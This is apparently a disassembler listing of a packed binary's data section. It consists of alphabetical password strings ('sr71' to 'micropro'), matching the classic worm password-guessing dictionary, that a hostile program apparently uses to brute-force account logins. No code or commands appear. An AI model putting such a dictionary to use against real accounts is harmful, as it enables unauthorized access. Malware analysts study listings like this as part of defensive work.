aSr71		db 'sr71',0             ; DATA XREF: nsp0:0042684Co
		align 4
aSquires	db 'squires',0          ; DATA XREF: nsp0:00426848o
aSpunk		db 'spunk',0            ; DATA XREF: nsp0:00426844o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: nsp0:00426840o
		align 4
aSpring		db 'spring',0           ; DATA XREF: nsp0:0042683Co
		align 4
aSpred		db 'spred',0            ; DATA XREF: nsp0:00426838o
		align 4
aSpit		db 'spit',0             ; DATA XREF: nsp0:00426834o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: nsp0:00426830o
		align 4
aSpider		db 'spider',0           ; DATA XREF: nsp0:0042682Co
		align 10h
aSpice		db 'spice',0            ; DATA XREF: nsp0:00426828o
		align 4
aSpell		db 'spell',0            ; DATA XREF: nsp0:00426824o
		align 10h
aSpear		db 'spear',0            ; DATA XREF: nsp0:00426820o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: nsp0:0042681Co
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: nsp0:00426818o
		align 10h
aSouth		db 'south',0            ; DATA XREF: nsp0:00426814o
		align 4
aSource		db 'source',0           ; DATA XREF: nsp0:00426810o
		align 10h
aSossina	db 'sossina',0          ; DATA XREF: nsp0:0042680Co
aSonya		db 'sonya',0            ; DATA XREF: nsp0:00426808o
		align 10h
aSonic		db 'sonic',0            ; DATA XREF: nsp0:00426804o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: nsp0:00426800o
		align 10h
aSondra		db 'sondra',0           ; DATA XREF: nsp0:004267FCo
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: nsp0:004267F8o
		align 4
aSoftware	db 'software',0         ; DATA XREF: nsp0:004267F4o
		align 10h
aSoft		db 'soft',0             ; DATA XREF: nsp0:004267F0o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: nsp0:004267ECo
		align 10h
aSocrates	db 'socrates',0         ; DATA XREF: nsp0:004267E8o
		align 4
aSocial		db 'social',0           ; DATA XREF: nsp0:004267E4o
		align 4
aSoap		db 'soap',0             ; DATA XREF: nsp0:004267E0o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: nsp0:004267DCo
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: nsp0:004267D8o
		align 4
aSnake		db 'snake',0            ; DATA XREF: nsp0:004267D4o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: nsp0:004267D0o
		align 4
aSnach		db 'snach',0            ; DATA XREF: nsp0:004267CCo
		align 4
aSmut		db 'smut',0             ; DATA XREF: nsp0:004267C8o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: nsp0:004267C4o
		align 4
aSmother	db 'smother',0          ; DATA XREF: nsp0:004267C0o
aSmooch		db 'smooch',0           ; DATA XREF: nsp0:004267BCo
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: nsp0:004267B8o
		align 4
aSmile		db 'smile',0            ; DATA XREF: nsp0:004267B4o
		align 4
aSmart		db 'smart',0            ; DATA XREF: nsp0:004267B0o
		align 4
aSmall		db 'small',0            ; DATA XREF: nsp0:004267ACo
		align 4
aSlut		db 'slut',0             ; DATA XREF: nsp0:004267A8o
		align 4
aSlow		db 'slow',0             ; DATA XREF: nsp0:004267A4o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: nsp0:004267A0o
aSlick		db 'slick',0            ; DATA XREF: nsp0:0042679Co
		align 4
aSlave		db 'slave',0            ; DATA XREF: nsp0:00426798o
		align 4
aSkull		db 'skull',0            ; DATA XREF: nsp0:00426794o
		align 4
aSite		db 'site',0             ; DATA XREF: nsp0:00426790o
		align 4
aSingle		db 'single',0           ; DATA XREF: nsp0:0042678Co
		align 4
aSinger		db 'singer',0           ; DATA XREF: nsp0:00426788o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: nsp0:00426784o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: nsp0:00426780o
		align 4
aSimple		db 'simple',0           ; DATA XREF: nsp0:0042677Co
		align 4
aSimon		db 'simon',0            ; DATA XREF: nsp0:00426778o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: nsp0:00426774o
aSilver		db 'silver',0           ; DATA XREF: nsp0:00426770o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: nsp0:0042676Co
		align 10h
aSierra		db 'sierra',0           ; DATA XREF: nsp0:00426768o
		align 4
aSick		db 'sick',0             ; DATA XREF: nsp0:00426764o
		align 10h
aShuttle	db 'shuttle',0          ; DATA XREF: nsp0:00426760o
aShort		db 'short',0            ; DATA XREF: nsp0:0042675Co
		align 10h
aShivers	db 'shivers',0          ; DATA XREF: nsp0:00426758o
aShiva		db 'shiva',0            ; DATA XREF: nsp0:00426754o
		align 10h
aShitpot	db 'shitpot',0          ; DATA XREF: nsp0:00426750o
aShit		db 'shit',0             ; DATA XREF: nsp0:0042674Co
					; nsp0:00438DF4o
		align 10h
aShirley	db 'shirley',0          ; DATA XREF: nsp0:00426748o
aShift		db 'shift',0            ; DATA XREF: nsp0:00426744o
		align 10h
aSherri		db 'sherri',0           ; DATA XREF: nsp0:00426740o
		align 4
aShell		db 'shell',0            ; DATA XREF: nsp0:0042673Co
		align 10h
aSheldon	db 'sheldon',0          ; DATA XREF: nsp0:00426738o
aSheffiel	db 'sheffiel',0         ; DATA XREF: nsp0:00426734o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: nsp0:00426730o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: nsp0:0042672Co
		align 4
aShark		db 'shark',0            ; DATA XREF: nsp0:00426728o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: nsp0:00426724o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: nsp0:00426720o
aSexy		db 'sexy',0             ; DATA XREF: nsp0:0042671Co
		align 4
aSesame		db 'sesame',0           ; DATA XREF: nsp0:00426718o
		align 4
aService	db 'service',0          ; DATA XREF: nsp0:00426714o
					; nsp0:004272DCo
aSerial		db 'serial',0           ; DATA XREF: nsp0:00426710o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: nsp0:0042670Co
		align 4
aSentry		db 'sentry',0           ; DATA XREF: nsp0:00426708o
		align 10h
aSentinel	db 'sentinel',0         ; DATA XREF: nsp0:00426704o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: nsp0:00426700o
		align 4
aSega		db 'sega',0             ; DATA XREF: nsp0:004266FCo
		align 4
aSeed		db 'seed',0             ; DATA XREF: nsp0:004266F8o
		align 4
aSecurity	db 'security',0         ; DATA XREF: nsp0:004266F4o
		align 10h
aSearch		db 'search',0           ; DATA XREF: nsp0:004266F0o
		align 4
aScout		db 'scout',0            ; DATA XREF: nsp0:004266ECo
		align 10h
aScotty		db 'scotty',0           ; DATA XREF: nsp0:004266E8o
		align 4
aScott		db 'scott',0            ; DATA XREF: nsp0:004266E4o
		align 10h
aScorpion	db 'scorpion',0         ; DATA XREF: nsp0:004266E0o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: nsp0:004266DCo
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: nsp0:004266D8o
aSchool		db 'school',0           ; DATA XREF: nsp0:004266D4o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: nsp0:004266D0o
		align 10h
aScamper	db 'scamper',0          ; DATA XREF: nsp0:004266CCo
aSaxon		db 'saxon',0            ; DATA XREF: nsp0:004266C8o
		align 10h
aSaturn		db 'saturn',0           ; DATA XREF: nsp0:004266C4o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: nsp0:004266C0o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: nsp0:004266BCo
		align 4
aSara		db 'sara',0             ; DATA XREF: nsp0:004266B8o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: nsp0:004266B4o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: nsp0:004266B0o
		align 4
aSample		db 'sample',0           ; DATA XREF: nsp0:004266ACo
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: nsp0:004266A8o
		align 4
aSalt		db 'salt',0             ; DATA XREF: nsp0:004266A4o
		align 10h
aSale		db 'sale',0             ; DATA XREF: nsp0:004266A0o
		align 4
aSalami		db 'salami',0           ; DATA XREF: nsp0:0042669Co
		align 10h
aSafe		db 'safe',0             ; DATA XREF: nsp0:00426698o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: nsp0:00426694o
		align 10h
aRush		db 'rush',0             ; DATA XREF: nsp0:00426690o
		align 4
aRunning	db 'running',0          ; DATA XREF: nsp0:0042668Co
aRules		db 'rules',0            ; DATA XREF: nsp0:00426688o
		align 4
aRude		db 'rude',0             ; DATA XREF: nsp0:00426684o
		align 10h
aRuby		db 'ruby',0             ; DATA XREF: nsp0:00426680o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: nsp0:0042667Co
		align 10h
aRubber		db 'rubber',0           ; DATA XREF: nsp0:00426678o
		align 4
aRough		db 'rough',0            ; DATA XREF: nsp0:00426674o
		align 10h
aRoses		db 'roses',0            ; DATA XREF: nsp0:00426670o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: nsp0:0042666Co
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: nsp0:00426668o
aRose		db 'rose',0             ; DATA XREF: nsp0:00426664o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: nsp0:00426660o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: nsp0:0042665Co
aRomeo		db 'romeo',0            ; DATA XREF: nsp0:00426658o
		align 4
aRomano		db 'romano',0           ; DATA XREF: nsp0:00426654o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: nsp0:00426650o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: nsp0:0042664Co
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: nsp0:00426648o
		align 10h
aRocky		db 'rocky',0            ; DATA XREF: nsp0:00426644o
		align 4
aRock		db 'rock',0             ; DATA XREF: nsp0:00426640o
		align 10h
aRocheste	db 'rocheste',0         ; DATA XREF: nsp0:0042663Co
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: nsp0:00426638o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: nsp0:00426634o
		align 10h
aRobotics	db 'robotics',0         ; DATA XREF: nsp0:00426630o
		align 4
aRobot		db 'robot',0            ; DATA XREF: nsp0:0042662Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: nsp0:00426628o
		align 4
aRobert		db 'robert',0           ; DATA XREF: nsp0:00426624o
		align 4
aRoach		db 'roach',0            ; DATA XREF: nsp0:00426620o
		align 4
aRisc		db 'risc',0             ; DATA XREF: nsp0:0042661Co
		align 4
aRipple		db 'ripple',0           ; DATA XREF: nsp0:00426618o
		align 4
aRiot		db 'riot',0             ; DATA XREF: nsp0:00426614o
		align 4
aRing		db 'ring',0             ; DATA XREF: nsp0:00426610o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: nsp0:0042660Co
		align 4
aRight		db 'right',0            ; DATA XREF: nsp0:00426608o
		align 10h
aRiffraff	db 'riffraff',0         ; DATA XREF: nsp0:00426604o
		align 4
aRick		db 'rick',0             ; DATA XREF: nsp0:00426600o
		align 4
aRich		db 'rich',0             ; DATA XREF: nsp0:004265FCo
		align 4
aRhino		db 'rhino',0            ; DATA XREF: nsp0:004265F8o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: nsp0:004265F4o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: nsp0:004265F0o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: nsp0:004265ECo
		align 4
aReport		db 'report',0           ; DATA XREF: nsp0:004265E8o
		align 4
aRent		db 'rent',0             ; DATA XREF: nsp0:004265E4o
		align 4
aReno		db 'reno',0             ; DATA XREF: nsp0:004265E0o
		align 4
aRenee		db 'renee',0            ; DATA XREF: nsp0:004265DCo
		align 4
aRemote		db 'remote',0           ; DATA XREF: nsp0:004265D8o
		align 4
aRelease	db 'release',0          ; DATA XREF: nsp0:004265D4o
aRegional	db 'regional',0         ; DATA XREF: nsp0:004265D0o
		align 10h
aReferenc	db 'referenc',0         ; DATA XREF: nsp0:004265CCo
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: nsp0:004265C8o
aReddawn	db 'reddawn',0          ; DATA XREF: nsp0:004265C4o
aRecord		db 'record',0           ; DATA XREF: nsp0:004265C0o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: nsp0:004265BCo
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: nsp0:004265B8o
aRebal		db 'rebal',0            ; DATA XREF: nsp0:004265B4o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: nsp0:004265B0o
		align 4
aReam		db 'ream',0             ; DATA XREF: nsp0:004265ACo
		align 4
aReally		db 'really',0           ; DATA XREF: nsp0:004265A8o
		align 4
aReality	db 'reality',0          ; DATA XREF: nsp0:004265A4o
aReagan		db 'reagan',0           ; DATA XREF: nsp0:004265A0o
		align 4
aRazor		db 'razor',0            ; DATA XREF: nsp0:0042659Co
		align 4
aRascal		db 'rascal',0           ; DATA XREF: nsp0:00426598o
		align 4
aRape		db 'rape',0             ; DATA XREF: nsp0:00426594o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401AC7+4A12o
					; sub_4127E4+312o ...
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: nsp0:0042658Co
aRaindrop	db 'raindrop',0         ; DATA XREF: nsp0:00426588o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: nsp0:00426584o
aRain		db 'rain',0             ; DATA XREF: nsp0:00426580o
		align 4
aRaid		db 'raid',0             ; DATA XREF: nsp0:0042657Co
		align 10h
aRachmani	db 'rachmani',0         ; DATA XREF: nsp0:00426578o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: nsp0:00426574o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: nsp0:00426570o
		align 10h
aRabbit		db 'rabbit',0           ; DATA XREF: nsp0:0042656Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: nsp0:00426568o
					; nsp0:004272C0o
		align 10h
aQwert		db 'qwert',0            ; DATA XREF: nsp0:00426564o
					; nsp0:004272BCo
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: nsp0:00426560o
		align 10h
aPussy		db 'pussy',0            ; DATA XREF: nsp0:0042655Co
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: nsp0:00426558o
		align 10h
aPunk		db 'punk',0             ; DATA XREF: nsp0:00426554o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: nsp0:00426550o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: nsp0:0042654Co
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: nsp0:00426548o
aPuke		db 'puke',0             ; DATA XREF: nsp0:00426544o
		align 4
aPuck		db 'puck',0             ; DATA XREF: nsp0:00426540o
		align 4
aPublic		db 'public',0           ; DATA XREF: nsp0:0042653Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: nsp0:00426538o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: nsp0:00426534o
		align 10h
aProtozoa	db 'protozoa',0         ; DATA XREF: nsp0:00426530o
		align 4
aProtect	db 'protect',0          ; DATA XREF: nsp0:0042652Co
aPrompt		db 'prompt',0           ; DATA XREF: nsp0:00426528o
		align 4
aProgram	db 'program',0          ; DATA XREF: nsp0:00426524o
aProfile	db 'profile',0          ; DATA XREF: nsp0:00426520o
aProfesso	db 'professo',0         ; DATA XREF: nsp0:0042651Co
		align 4
aProcesso	db 'processo',0         ; DATA XREF: nsp0:00426518o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: nsp0:00426514o
aPrivs		db 'privs',0            ; DATA XREF: nsp0:00426510o
		align 4
aPrivate	db 'private',0          ; DATA XREF: nsp0:0042650Co
aPriv		db 'priv',0             ; DATA XREF: nsp0:00426508o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: nsp0:00426504o
aPrinceto	db 'princeto',0         ; DATA XREF: nsp0:00426500o
		align 4
aPrince		db 'prince',0           ; DATA XREF: nsp0:004264FCo
		align 10h
aPresto		db 'presto',0           ; DATA XREF: nsp0:004264F8o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: nsp0:004264F4o
aPrecious	db 'precious',0         ; DATA XREF: nsp0:004264F0o
		align 4
aPraise		db 'praise',0           ; DATA XREF: nsp0:004264ECo
		align 4
aPower		db 'power',0            ; DATA XREF: nsp0:004264E8o
		align 4
aPoster		db 'poster',0           ; DATA XREF: nsp0:004264E4o
		align 4
aPost		db 'post',0             ; DATA XREF: nsp0:004264E0o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: nsp0:004264DCo
aPorno		db 'porno',0            ; DATA XREF: nsp0:004264D8o
		align 4
aPorn		db 'porn',0             ; DATA XREF: nsp0:004264D4o
		align 4
aPork		db 'pork',0             ; DATA XREF: nsp0:004264D0o
		align 4
aPoor		db 'poor',0             ; DATA XREF: nsp0:004264CCo
		align 4
aPoop		db 'poop',0             ; DATA XREF: nsp0:004264C8o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: nsp0:004264C4o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: nsp0:004264C0o
		align 4
aPolly		db 'polly',0            ; DATA XREF: nsp0:004264BCo
		align 4
aPolice		db 'police',0           ; DATA XREF: nsp0:004264B8o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: nsp0:004264B4o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: nsp0:004264B0o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: nsp0:004264ACo
		align 10h
aPlover		db 'plover',0           ; DATA XREF: nsp0:004264A8o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: nsp0:004264A4o
aPlane		db 'plane',0            ; DATA XREF: nsp0:004264A0o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: nsp0:0042649Co
		align 10h
aPiss		db 'piss',0             ; DATA XREF: nsp0:00426498o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: nsp0:00426494o
aPimp		db 'pimp',0             ; DATA XREF: nsp0:00426490o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: nsp0:0042648Co
		align 10h
aPick		db 'pick',0             ; DATA XREF: nsp0:00426488o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: nsp0:00426484o
		align 10h
aPhreak		db 'phreak',0           ; DATA XREF: nsp0:00426480o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: nsp0:0042647Co
		align 10h
aPhrack		db 'phrack',0           ; DATA XREF: nsp0:00426478o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: nsp0:00426474o
		align 10h
aPhone		db 'phone',0            ; DATA XREF: nsp0:00426470o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: nsp0:0042646Co
aPhilip		db 'philip',0           ; DATA XREF: nsp0:00426468o
		align 4
aPhil		db 'phil',0             ; DATA XREF: nsp0:00426464o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: nsp0:00426460o
		align 4
aPete		db 'pete',0             ; DATA XREF: nsp0:0042645Co
		align 10h
aPervert	db 'pervert',0          ; DATA XREF: nsp0:00426458o
aPersona	db 'persona',0          ; DATA XREF: nsp0:00426454o
aPersimmo	db 'persimmo',0         ; DATA XREF: nsp0:00426450o
		align 4
aPermit		db 'permit',0           ; DATA XREF: nsp0:0042644Co
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: nsp0:00426448o
aPercolat	db 'percolat',0         ; DATA XREF: nsp0:00426444o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: nsp0:00426440o
		align 10h
aPeoria		db 'peoria',0           ; DATA XREF: nsp0:0042643Co
		align 4
aPentium	db 'pentium',0          ; DATA XREF: nsp0:00426438o
aPenthous	db 'penthous',0         ; DATA XREF: nsp0:00426434o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: nsp0:00426430o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: nsp0:0042642Co
		align 4
aPenname	db 'penname',0          ; DATA XREF: nsp0:00426428o
aPenis		db 'penis',0            ; DATA XREF: nsp0:00426424o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: nsp0:00426420o
aPenelope	db 'penelope',0         ; DATA XREF: nsp0:0042641Co
		align 4
aPencil		db 'pencil',0           ; DATA XREF: nsp0:00426418o
		align 10h
aPecker		db 'pecker',0           ; DATA XREF: nsp0:00426414o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: nsp0:00426410o
aPaula		db 'paula',0            ; DATA XREF: nsp0:0042640Co
		align 4
aPatty		db 'patty',0            ; DATA XREF: nsp0:00426408o
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: nsp0:00426404o
aPatricia	db 'patricia',0         ; DATA XREF: nsp0:00426400o
		align 4
aPaste		db 'paste',0            ; DATA XREF: nsp0:004263FCo
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: nsp0:004263F8o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: nsp0:004263F4o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: nsp0:004263F0o
		align 4
aPaper		db 'paper',0            ; DATA XREF: nsp0:004263ECo
		align 10h
aPapa		db 'papa',0             ; DATA XREF: nsp0:004263E8o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: nsp0:004263E4o
		align 10h
aPakistan	db 'pakistan',0         ; DATA XREF: nsp0:004263E0o
		align 4
aPaint		db 'paint',0            ; DATA XREF: nsp0:004263DCo
		align 4
aPainless	db 'painless',0         ; DATA XREF: nsp0:004263D8o
		align 10h
aPacker		db 'packer',0           ; DATA XREF: nsp0:004263D4o
		align 4
aPackard	db 'packard',0          ; DATA XREF: nsp0:004263D0o
aPacific	db 'pacific',0          ; DATA XREF: nsp0:004263CCo
aOxford		db 'oxford',0           ; DATA XREF: nsp0:004263C8o
		align 10h
aOutside	db 'outside',0          ; DATA XREF: nsp0:004263C4o
aOutput		db 'output',0           ; DATA XREF: nsp0:004263C0o
		align 10h
aOutlaw		db 'outlaw',0           ; DATA XREF: nsp0:004263BCo
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: nsp0:004263B8o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: nsp0:004263B4o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: nsp0:004263B0o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: nsp0:004263ACo
		align 4
aOrient		db 'orient',0           ; DATA XREF: nsp0:004263A8o
		align 4
aOrca		db 'orca',0             ; DATA XREF: nsp0:004263A4o
		align 4
aOperator	db 'operator',0         ; DATA XREF: nsp0:004263A0o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: nsp0:0042639Co
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: nsp0:00426398o
		align 10h
aOpening	db 'opening',0          ; DATA XREF: nsp0:00426394o
aOpen		db 'open',0             ; DATA XREF: sub_401AC7+38BCo
					; sub_401AC7+5040o ...
		align 10h
aOmega		db 'omega',0            ; DATA XREF: nsp0:0042638Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: nsp0:00426388o
		align 10h
aOlivetti	db 'olivetti',0         ; DATA XREF: nsp0:00426384o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: nsp0:00426380o
		align 4
aOkay		db 'okay',0             ; DATA XREF: nsp0:0042637Co
		align 4
aOffice		db 'office',0           ; DATA XREF: nsp0:00426378o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: nsp0:00426374o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: nsp0:00426370o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: nsp0:0042636Co
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: nsp0:00426368o
aNuts		db 'nuts',0             ; DATA XREF: nsp0:00426364o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: nsp0:00426360o
		align 10h
aNumber		db 'number',0           ; DATA XREF: nsp0:0042635Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: nsp0:00426358o
		align 10h
aNukem		db 'nukem',0            ; DATA XREF: nsp0:00426354o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: nsp0:00426350o
		align 10h
aNude		db 'nude',0             ; DATA XREF: nsp0:0042634Co
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: nsp0:00426348o
aNoxious	db 'noxious',0          ; DATA XREF: nsp0:00426344o
aNovember	db 'november',0         ; DATA XREF: nsp0:00426340o
		align 4
aNovel		db 'novel',0            ; DATA XREF: nsp0:0042633Co
		align 4
aNova		db 'nova',0             ; DATA XREF: nsp0:00426338o
		align 4
aNoth		db 'noth',0             ; DATA XREF: nsp0:00426334o
		align 4
aNotes		db 'notes',0            ; DATA XREF: nsp0:00426330o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: nsp0:0042632Co
		align 4
aNode		db 'node',0             ; DATA XREF: nsp0:00426328o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: nsp0:00426324o
		align 4
aNoble		db 'noble',0            ; DATA XREF: nsp0:00426320o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: nsp0:0042631Co
		align 4
aNita		db 'nita',0             ; DATA XREF: nsp0:00426318o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: nsp0:00426314o
		align 10h
aNightmar	db 'nightmar',0         ; DATA XREF: nsp0:00426310o
		align 4
aNight		db 'night',0            ; DATA XREF: nsp0:0042630Co
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: nsp0:00426308o
		align 10h
aNicole		db 'nicole',0           ; DATA XREF: nsp0:00426304o
		align 4
aNice		db 'nice',0             ; DATA XREF: nsp0:00426300o
		align 10h
aNext		db 'next',0             ; DATA XREF: nsp0:004262FCo
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: nsp0:004262F8o
aNewton		db 'newton',0           ; DATA XREF: nsp0:004262F4o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: nsp0:004262F0o
		align 4
aNews		db 'news',0             ; DATA XREF: nsp0:004262ECo
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: nsp0:004262E8o
aNetwork_0	db 'network',0          ; DATA XREF: nsp0:004262E4o
aNetscape	db 'netscape',0         ; DATA XREF: nsp0:004262E0o
		align 4
aNess		db 'ness',0             ; DATA XREF: nsp0:004262DCo
		align 10h
aNeptune	db 'neptune',0          ; DATA XREF: nsp0:004262D8o
aNepenthe	db 'nepenthe',0         ; DATA XREF: nsp0:004262D4o
		align 4
aNavy		db 'navy',0             ; DATA XREF: nsp0:004262D0o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: nsp0:004262CCo
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: nsp0:004262C8o
		align 10h
aNancy		db 'nancy',0            ; DATA XREF: nsp0:004262C4o
		align 4
aName		db 'name',0             ; DATA XREF: nsp0:004262C0o
		align 10h
aNagel		db 'nagel',0            ; DATA XREF: nsp0:004262BCo
		align 4
aMutant		db 'mutant',0           ; DATA XREF: nsp0:004262B8o
		align 10h
aMuppets	db 'muppets',0          ; DATA XREF: nsp0:004262B4o
aMsdos		db 'msdos',0            ; DATA XREF: nsp0:004262B0o
		align 10h
aMpeg		db 'mpeg',0             ; DATA XREF: nsp0:004262ACo
		align 4
aMozart		db 'mozart',0           ; DATA XREF: nsp0:004262A8o
		align 10h
aMovies		db 'movies',0           ; DATA XREF: nsp0:004262A4o
		align 4
aMovie		db 'movie',0            ; DATA XREF: nsp0:004262A0o
		align 10h
aMove		db 'move',0             ; DATA XREF: nsp0:0042629Co
		align 4
aMouse		db 'mouse',0            ; DATA XREF: nsp0:00426298o
		align 10h
aMountain	db 'mountain',0         ; DATA XREF: nsp0:00426294o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: nsp0:00426290o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: nsp0:0042628Co
		align 10h
aMortalco	db 'mortalco',0         ; DATA XREF: nsp0:00426288o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: nsp0:00426284o
		align 4
aMorris		db 'morris',0           ; DATA XREF: nsp0:00426280o
		align 4
aMorley		db 'morley',0           ; DATA XREF: nsp0:0042627Co
		align 4
aMore		db 'more',0             ; DATA XREF: nsp0:00426278o
		align 4
aMoose		db 'moose',0            ; DATA XREF: nsp0:00426274o
		align 4
aMoor		db 'moor',0             ; DATA XREF: nsp0:00426270o
		align 4
aMoom		db 'moom',0             ; DATA XREF: nsp0:0042626Co
		align 4
aMonica		db 'monica',0           ; DATA XREF: nsp0:00426268o
		align 4
aMonday		db 'monday',0           ; DATA XREF: nsp0:00426264o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: nsp0:00426260o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: nsp0:0042625Co
		align 4
aModem		db 'modem',0            ; DATA XREF: nsp0:00426258o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401AC7+2DEDo
					; sub_401AC7+4045o ...
		align 4
aMkii		db 'mkii',0             ; DATA XREF: nsp0:00426250o
		align 4
aMission	db 'mission',0          ; DATA XREF: nsp0:0042624Co
aMisfit		db 'misfit',0           ; DATA XREF: nsp0:00426248o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: nsp0:00426244o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: nsp0:00426240o
aMine		db 'mine',0             ; DATA XREF: nsp0:0042623Co
		align 4
aMike		db 'mike',0             ; DATA XREF: nsp0:00426238o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: nsp0:00426234o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: nsp0:00426230o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: nsp0:0042622Co
